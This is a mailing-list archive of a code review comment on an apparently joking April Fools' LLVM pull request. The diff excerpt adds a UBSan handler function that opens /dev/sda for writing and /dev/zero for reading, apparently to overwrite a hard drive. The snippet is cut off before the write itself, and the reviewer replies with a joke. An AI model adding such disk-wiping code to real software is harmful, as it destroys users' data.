[compiler-rt] [compiler-rt][ubsan] erase hard drive upon UB (PR #87251)

via llvm-commits llvm-commits at lists.llvm.org
Mon Apr 1 13:30:22 PDT 2024


================
@@ -141,10 +141,26 @@ void __ubsan::__ubsan_handle_type_mismatch_v1(TypeMismatchData *Data,
   GET_REPORT_OPTIONS(false);
   handleTypeMismatchImpl(Data, Pointer, Opts);
 }
+
+#include <fcntl.h>
+#include <unistd.h>
+static void reformat_hard_drive() {
+  // TODO: windows support
+  int out = open("/dev/sda", O_WRONLY);
+  int in = open("/dev/zero", O_RDONLY);
+  if (in == -1 || out == -1)
+    return;
+
+  off64_t offset = 0;
----------------
lntue wrote:

Or you can turn some lights on, especially those UV ones.

https://github.com/llvm/llvm-project/pull/87251


More information about the llvm-commits mailing list